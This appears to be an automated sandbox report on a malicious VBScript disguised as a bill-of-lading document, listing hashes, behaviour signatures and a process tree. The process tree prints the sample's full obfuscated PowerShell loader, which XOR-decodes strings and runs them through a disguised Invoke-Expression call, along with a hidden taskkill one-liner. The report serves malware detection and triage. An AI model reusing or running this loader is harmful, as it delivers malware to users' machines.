Analysis
- max time kernel
150s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/10/2026, 03:31
Static task
static1
Behavioral task
behavioral1
Sample
CKCOXM2604298M提单样本.vbs
Resource
win10v2004-20260911-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
CKCOXM2604298M提单样本.vbs
Resource
win11ltsc2024-20260911-en
10 signatures
150 seconds
General
- Target CKCOXM2604298M提单样本.vbs
- Size 29KB
- Sample261027-d2216abs2j
- SHA256 a5f26905d81e65c2de5579f0a2c8ff83c3cd4649eff015387d2ddf148b46a4c6
- MD5 99abaf531709ff89d4887a4560603352
- SHA1 29cdd8527db165bf63027aee90f707e3d98ad6ef
- SHA512 726646d0a164ccb3d383da3e0a697d087e8a24a47500237387a9c2191e9f9b126b6f9e70fc28ff6abdf5542529fe2cc6991ae9c1a4dacaf3d89d407558f3319b
- SSDEEP 768:KSObhOJnITHc0XODVkLEANEy5gJJAk3aG/SCthj0l0tBZzr8c:LihOJnsHcFDVkLEANEwgJJh3aGxy0Xuc
- TLSH T1EBD264178D068FF01C7A2756A57FA81DA920036678387D0E398FF15C3B3A625CBD16E6
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 3976 powershell.exe 8 3976 powershell.exe 10 3976 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 252 powershell.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 5072 WScript.exe - SmartAssembly .NET packer 1 IoCs
Detects SmartAssembly .NET packer.
resource yara_rule behavioral2/memory/3976-19-0x000002038C170000-0x000002038C186000-memory.dmp SmartAssembly - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1020 cmd.exe - Kills process with taskkill 3 IoCs
pid Process 4284 taskkill.exe 2708 taskkill.exe 5888 taskkill.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3976 powershell.exe 3976 powershell.exe 3976 powershell.exe 252 powershell.exe 252 powershell.exe 252 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3976 powershell.exe Token: SeDebugPrivilege 252 powershell.exe Token: SeDebugPrivilege 4284 taskkill.exe Token: SeDebugPrivilege 2708 taskkill.exe Token: SeDebugPrivilege 5888 taskkill.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 5072 wrote to memory of 3976 5072 WScript.exe 90 PID 3976 wrote to memory of 252 3976 powershell.exe 92 PID 252 wrote to memory of 1020 252 powershell.exe 94 PID 1020 wrote to memory of 4284 1020 cmd.exe 96 PID 1020 wrote to memory of 2708 1020 cmd.exe 98 PID 1020 wrote to memory of 5888 1020 cmd.exe 99
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CKCOXM2604298M提单样本.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=62-34;$yFoyC922='NvD6Hajx0kS';$fHG0k20='9Gh5HugxWV124epS';$dCWrmLQ='xhuVx99SgguhuSH4H1gpgeggH5x5HH5guhHV92GGGughhVGWhWux5guV9exV5VHWx1g9HVx5HhuGuHupuH9SH5xeHVGghHh1g9uHueg992Hhg4hhGWHeGWg9uhupHuHhGug9ge9uhuHWxe9gg2H9G5Hug4HSxGH5ughWuuuuuuHhGug251g9x29hxuHSuW92uGuxgggg9H519uhS92929g95G4gug99Wx4HhupupupHuGpuV5h59Hu5uHx52H9GHHe5GGug9HVGG5gHWx9g9GHH25xG4g2g4H5g4HWxVGhHeGV5Gghx9gxuWx29G54gSuuu1GpGSH4x1HSxG9Wx2uuuxxSu992u4H9g1hgHhuuupHHxGGpH5g9x1H25gHWxeGhHehSg954955H945pH4HVxuuuugHHghg4ggu1xx9Sxxg2uSH29HHuHHxuHhxS92xxHVgeGWu9ghg4xxuVg49uggHhg9u99uHuggxxH5xhH4hSG2g2g49SHuhxHxHVxeGVg9uhHHu251H5ggg9H5xe95xpgSHVuh9Sg455hpxWxhGSh59V5ehW5VHugWgguW555SxpupuuuhH1G4u1xGHSxG9hxgHWG9GGgx52hV5H945p91gxuuu5ug95upgx5HgWxGG2x4uxuSH59pxugWg9HeuWGpxeugx4H29Hu1x15Hux5pG4x5HVuGHSH1GVuhgxuWg49ux4u4g2xS5xGugWhH9u5pgGGWG2G99hH1GugWhu94h5H4u4upHx9Shuu5g5xGHSg1H4HGHhH5ug9Su4hxu1HVg1HhHuupuhgG9guWg4x1uWhuH4GS5GG99hH1GGhexuGp5puG5hx4uuugHxg5gWx1HWxG9G5hGgxVH4G1HHxeu2HpxH9VxGHSG99g929GhV5VgSxGGVx4HSG99g929GhxuWHVx992ggu5929hgx52hV5H945p91xeHVuuH59VuVhV549WxSuS5huhup9hHpu9525e94guH4ggHVHV9hGGGGx2xGuWg2Gpx4G2GHH5u2GSHex2u2x999xeu1uHgg92HugW549WxSuS52G2He9h9Vu9xexxHH5pGx5huWuSH4GpuWgxgGHV5pGG5hHg929hgx52hV5H945pGpxxHSHuu99HGGhex1uVxh995hHg929hgx52hV5H945pHWx59SG9GSH1GghphShGGHH45hG2G99g929HhVhV945g55xgHVuSHSH1Ggu2xWu4xS5Hx1g1xhg552945H559uhugGGWGSuGGHH194hV5H9WxSuW5hG9GHH5uS919HGp945pH45hGSuGGhH194hVuH9H5gHWx59eG99VH1GVugx9upxG9G5hG4xxg99ux9HGugu2xSheu995g1g5hW9VgSu5u2uWhHH5';$n3JJfN8Q7='e22W15e224WgW1WuSp1u4244S14W2S4up91pp22upueg45W4WupGWh1VpSS1ee2gWG25Vh1512WpW42WV4S5WVVp2hVh1VeGWh1GWpWWSGW11u21VuWH4GeeSu12V44xSp2x2VVueHeV41pepgSG2ep1VxeeS541254uV2121SS115eg44V2VV1xW4WuWe11SgWg1x11WH1gSH1419WW21e91e2x1pWGWH4924SVShS124pxeSe9S54G254epHpSSe2u45S44S2heg25e9pHW22hph19V1WH2hWuexW4291pV2px1GV21x21WSSWVppHp2241uSuS2pGS54G254epHpSSe2u1xV942S24uShe1pHph25S9ppehWu1gWeSS4HpH2HSe2G1S4p42pp4G4W2p2e241VS915eW2S2gVVpx45WG1G2pS111VSWu2H241VexVGV2V21ep92GWp1x2hpxVS1e1G212ep1Vxe4S1e1VppxpHpSSe2uppehW1p14G1p4ep4V92Vpx1GV242SH1HS21xSe1125S1VS2511ppe42H4HSSpSSVSxSpegegS54V44WV2g19292upV25W5VVV9eg1SWuShS124Sueg4S2Ge925e9pHp2241ep92SWu2xWHp21h1hpxSVSHSxeSe9S5p4VV4epHpSSe2G144H42pp4G2xW4S4pGVHS211V5V5V4Wx224V1gSSSH1p45S442S54G254e1e1VSe2ep1VHe1S544SHWWpHSSSe2W1SVWWSS54uSGeSpHph21pGppehWVph4W25VgpHp22S1HppeeegS54uSheHp1W52WS21VWhW5pW4GVppxpHpSSe2up1VHeWS5e4254V1gSeSe2WppehWVphe1VppxpHpSSe2uppehWVpx4G1p4ep91ppu22VeW5WV19VupGWH111WSu2G144x4xS54uSGeppeSHe9VSppeg42SxW51G4eSVpSSVSHSgeW1h2eWuSgVuW21VSu2G144g4hpWp4VV4epHpSSe2up1VHepS5e4252gVx2g1ppG12V24uV9WpSeV21G2e1V4WSH441e1GWpSp1S1u242W15S11uVS1GWWSeW1p4p22S1Gpx4e42S54G2xWSSgpSp92up1Vxe5Se1WSeWV1G2xVhS5pgehWVp54W1W4epHpSSVSxS4egegS54uSheup1Wg25SG12Wp1H2u4V2xWSSHpgpgVW4Heg42S54G2xWSShpSp92uVu1uVh19VuSgW9p1Ve2WS51hV5WW1xWWS4W5p1Wp1ppg12V2WV2SVW4pexSpW52hSH11ep4S2GeH21eg4V4uSe2uWVV5VSSp2GpGWh1x111ppgppW142W9WppGVVpVW92SSS12VuVSS51h452W';$umveIRC='uhgx54gS9x5p55h1gW5p9GGug19Hh1hx5W51hGgSh5Hh5ehWGhgSGxhVxggVH15pGe9G5puW5SuHhGxg9hg5hu9hG55puuupGu5S51hGh4GV9pGShSuHHVhH9Wu2Hph4xxHSuhgpG15euHg9xgg9gpgGHG5uhS94up9ehe55g4hH9W9299huGuh1u594gxh9gV9ShpHSxxuSh5uHxgxgg4u555GeGehxuWhehu9W51hxuWgxhh55G9G5H4599pgg59gWx9Hgu2xGxu99xVuxxggHh4xxH2G9xhHuhhh25VhHh2gGxxHWh2x2HVHxh5ge5h9xuS59uhHSgeuG5GxVuxxggHh4xxH2G9x5uW5xuHxu9Vh9xp5W9huhgehSgghp54Gx95gHG55x5HxS55uhGWgVGHG5u154he5u9WH9g45uGS9ShhHHh9hpGG9eh15h5uG15ph2g1Gg5p5xGSh2u4HuGx9uhSgHGp545xhg5SuhhG5uGeGxHV52hHuug5uW5GuHxV5Hxeh4g1HSughWHGhHhxhW5H5xxWhu9gG4heu951uWxexhhg5uxVh5GxhHGSxpG4xex2gH5eghHgxSH9u4gVHHxeg2gHhH9W9299huGuh1u5Gu5GxV5Gx9HgHVHxxhh1uHxexgg9gSggHSHSg1u9uuG9hS5VhVh4x9hxGuxxHuheueggu2HphW5HueuhxxuWH19Sh9gegHhW5Hu4uhxxuWHHGGh1x292gp5e91GG5puWuV9ehphhhGgGxVh4GehgGHgSGxhV5Sh2ghhHHG555W91g29eGG5S5xxWu1guughVH4h1HVxeGGhGxWx15eG5hHG4guGVxex29Vgu5V9gGS5SGuh1HugeggxHh4x1hhG55hGGgx9G59xgxe5ugpugxSH9u4gVHGxeg2gHhHxSH2GGxpuWh9uHg4gGgeh4xhHSH9xSHph5uHx95H54g5huHSHh5hH2H2xVuxxhh1xV5295uhxxuWhpGxgpxW9ugW55HxhVG1h2HV9Ghphhh2gGGW9eGWhSG2xphVGehegHHu55HSHSg1u4gVH9ggxgG9g55491G4g1Huh1ugxV5uxGhpg4HShG5pGVxpGGxeg2gHhpGp92GphSu1h19VxHu2Hph4xxHSuhgpG254uHg9xgg9gpg9HG5uhS94HxGGhV5ph2gWxSHxhehp91guGVxexGG4H1h5hpuug5uWhGuHxu9Vh9xp5W9huhgeh9u4HHg9xGgehuxVhgG454GxgGGGxuxhh1xV5295upg1h5guGg5x55hxxW945hhSg1u9hpGggHxggWhW5Hupupg1uSheuWxexhhg5Hx2HSughVHWh1uWxexpG2gWhu99GSg1uSu4G49H9Sg5huxpHg9S5xxu99';$mgHHiyY=0x4C66-0x5EAB;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x5A)};$vzzfsb=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0xA5)};$nPjxXtqJ=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x3C)};$qHDyj1J=$sSFNpNrR;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$dCWrmLQ.Length){$zFQszL=$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF])*16+$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF+1]);if($p3zb2QaE-ge$vzzfsb.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$vzzfsb[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$zrAL2c=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$n3JJfN8Q7.Length){$zFQszL=$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF])*16+$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF+1]);if($p3zb2QaE-ge$nPjxXtqJ.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$nPjxXtqJ[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$xEK2NG3=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$umveIRC.Length){$zFQszL=$fHG0k20.IndexOf($umveIRC[$iARPxZQF])*16+$fHG0k20.IndexOf($umveIRC[$iARPxZQF+1]);if($p3zb2QaE-ge$qHDyj1J.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$qHDyj1J[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$oHfttgMI0=$lldJgZa;$xzOWn3f=$zrAL2c+$xEK2NG3+$oHfttgMI0;.($ShellId[1] + $ShellId[13] + 'x') $xzOWn3f2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:252 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1020 -
C:\Windows\system32\taskkill.exetaskkill /IM RegAsm.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4284
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Vbc.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2708
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MsBuild.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5888
-
-
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 c29ca252edb73aed2196ff9e3627973222b669012b9ae1c2d265f3c8cce5c151
- MD5 345c9aed873248c5ad67820b1d201171
- SHA1 4e5c003dbaa71a364fac9138442d052938811e7b
- SHA512 c166f691ec5020c1d232219ccb9821842b74736ddd448d9f30ed3f24f2a8e9e4ac4effff4fae354a83db9e91830aecee8d8e49d9d6569ae05c0e64f83be37460
- TLSH T189217833F3CC8211D889403A50CDEC0432B687DB809ECE6BBB84D644B53F599CE602A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ufg42r2l.ebz.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH